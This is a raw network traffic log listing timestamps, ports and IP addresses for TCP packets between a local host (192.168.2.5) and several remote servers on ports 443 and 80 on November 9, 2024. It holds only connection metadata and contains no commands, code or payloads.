Nov 9, 2024 22:09:49.111059904 CET	49923	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.111074924 CET	443	49923	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.111594915 CET	49923	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.111604929 CET	443	49923	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.112186909 CET	443	49922	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.113065004 CET	49922	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.113086939 CET	443	49922	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.113595963 CET	49922	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.113601923 CET	443	49922	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.127737045 CET	49931	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:49.127769947 CET	443	49931	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:49.127932072 CET	49931	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:49.128405094 CET	49931	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:49.128413916 CET	443	49931	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:49.133050919 CET	443	49921	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:49.134241104 CET	49932	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:49.134282112 CET	443	49932	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:49.134378910 CET	49932	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:49.134937048 CET	49932	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:49.134952068 CET	49921	443	192.168.2.5	20.125.209.212
Nov 9, 2024 22:09:49.134953022 CET	443	49932	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:49.134963989 CET	443	49921	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:49.135340929 CET	443	49921	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:49.135773897 CET	49921	443	192.168.2.5	20.125.209.212
Nov 9, 2024 22:09:49.135840893 CET	443	49921	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:49.135910034 CET	49921	443	192.168.2.5	20.125.209.212
Nov 9, 2024 22:09:49.138281107 CET	443	49924	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.139815092 CET	49924	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.139832020 CET	443	49924	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.140399933 CET	49924	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.140407085 CET	443	49924	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.161212921 CET	49933	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:49.161252022 CET	443	49933	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:49.161837101 CET	49933	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:49.162120104 CET	49933	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:49.162132978 CET	443	49933	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:49.176677942 CET	49921	443	192.168.2.5	20.125.209.212
Nov 9, 2024 22:09:49.176686049 CET	443	49921	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:49.183346033 CET	443	49925	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.184082985 CET	49925	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.184108019 CET	443	49925	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.185650110 CET	49925	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.185656071 CET	443	49925	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.208617926 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.208664894 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.208679914 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.208813906 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.208831072 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.208831072 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.208847046 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.208863020 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.208884001 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.208900928 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.208936930 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.209970951 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.209989071 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.210045099 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.210845947 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.210858107 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.210870981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.210881948 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.210895061 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.210906982 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.210917950 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.210920095 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.210930109 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.210942984 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.210985899 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.210985899 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211004972 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211015940 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211016893 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211028099 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211060047 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211061954 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211071968 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211082935 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211096048 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211107016 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211108923 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211108923 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211118937 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211132050 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211137056 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211143970 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211154938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211167097 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211175919 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211175919 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211178064 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211189032 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211200953 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211211920 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211213112 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211225033 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211236954 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211239100 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211239100 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211247921 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211261034 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211271048 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211277008 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211282015 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211297035 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211329937 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211329937 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211469889 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211481094 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211496115 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211508036 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211519957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211529970 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211539030 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211541891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211553097 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211564064 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211571932 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211571932 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211576939 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211589098 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211601019 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211611986 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211611986 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211612940 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211625099 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211637020 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.211664915 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211664915 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.211688995 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.212780952 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.212929964 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.212943077 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.212953091 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.212965965 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.212976933 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.212985992 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.212985992 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.212989092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.213001013 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.213033915 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.213063955 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.213067055 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.213077068 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.213088989 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.213102102 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.213141918 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.213170052 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.213996887 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214010000 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214020967 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214034081 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214046955 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214066029 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.214096069 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.214163065 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214179039 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214191914 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214201927 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214217901 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214231968 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214262009 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.214262009 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.214278936 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214282990 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.214303017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214315891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214332104 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214346886 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214369059 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.214395046 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214397907 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.214397907 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.214406013 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214416981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214422941 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214435101 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214447975 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214461088 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214473963 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214477062 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.214477062 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.214487076 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214500904 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.214513063 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.214533091 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.214546919 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.215254068 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.215342045 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.240525961 CET	443	49923	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.240600109 CET	443	49923	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.240678072 CET	49923	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.243211031 CET	443	49922	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.243328094 CET	443	49922	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.243556023 CET	49922	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.245755911 CET	49923	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.245775938 CET	443	49923	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.245853901 CET	49923	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.245871067 CET	443	49923	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.247046947 CET	49922	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.247066975 CET	443	49922	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.247081995 CET	49922	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.247087002 CET	443	49922	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.250816107 CET	49934	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.250850916 CET	443	49934	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.251077890 CET	49934	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.252176046 CET	443	49927	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.252233028 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.252640963 CET	49927	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.252649069 CET	443	49927	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.252904892 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.252924919 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.253037930 CET	49935	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.253079891 CET	443	49935	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.253093958 CET	443	49927	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.253145933 CET	49935	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.254033089 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.254118919 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.254458904 CET	49927	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.254532099 CET	443	49927	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.254657030 CET	49927	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.255227089 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.255304098 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.255553961 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.255839109 CET	49934	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.255851984 CET	443	49934	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.257110119 CET	49935	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.257128000 CET	443	49935	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.263525963 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.263935089 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.263951063 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.264354944 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.265479088 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.265567064 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.265994072 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.269157887 CET	443	49924	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.269232988 CET	443	49924	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.269308090 CET	49924	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.288729906 CET	443	49921	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:49.289283991 CET	49924	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.289283991 CET	49924	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.289310932 CET	443	49924	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.289324045 CET	443	49924	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.299319983 CET	443	49927	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.299335003 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.299571037 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.299582958 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.302484035 CET	49936	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.302505016 CET	443	49936	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.303107023 CET	49936	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.311328888 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.313563108 CET	443	49925	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.313591957 CET	443	49925	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.313632965 CET	443	49925	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.313664913 CET	49925	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.313711882 CET	49925	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.313886881 CET	443	49921	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:49.315004110 CET	49921	443	192.168.2.5	20.125.209.212
Nov 9, 2024 22:09:49.316907883 CET	49921	443	192.168.2.5	20.125.209.212
Nov 9, 2024 22:09:49.316915989 CET	443	49921	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:49.317959070 CET	49936	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.317971945 CET	443	49936	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.319350958 CET	49925	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.319370985 CET	443	49925	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.319382906 CET	49925	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.319387913 CET	443	49925	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.325730085 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.325911045 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.325930119 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.325988054 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.326044083 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326059103 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326073885 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326090097 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326105118 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326119900 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.326119900 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.326168060 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.326262951 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326278925 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326302052 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326325893 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326340914 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326359034 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326368093 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.326368093 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.326378107 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326390028 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.326459885 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.326754093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326769114 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326786041 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326800108 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326814890 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326828003 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326843023 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.326843977 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.326843977 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.326881886 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.326903105 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.327440977 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327457905 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327480078 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327505112 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327521086 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327537060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327552080 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327554941 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.327554941 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.327567101 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327591896 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327599049 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.327606916 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327617884 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.327620029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327635050 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327651024 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327656984 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.327666044 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327666998 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.327699900 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.327775955 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.327837944 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327862978 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327877998 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327892065 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327907085 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327922106 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327924013 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.327936888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.327950001 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.327990055 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.327990055 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.328022003 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.328037024 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.328052044 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.328068018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.328083038 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.328104973 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.328107119 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.328120947 CET	80	49813	185.215.113.206	192.168.2.5
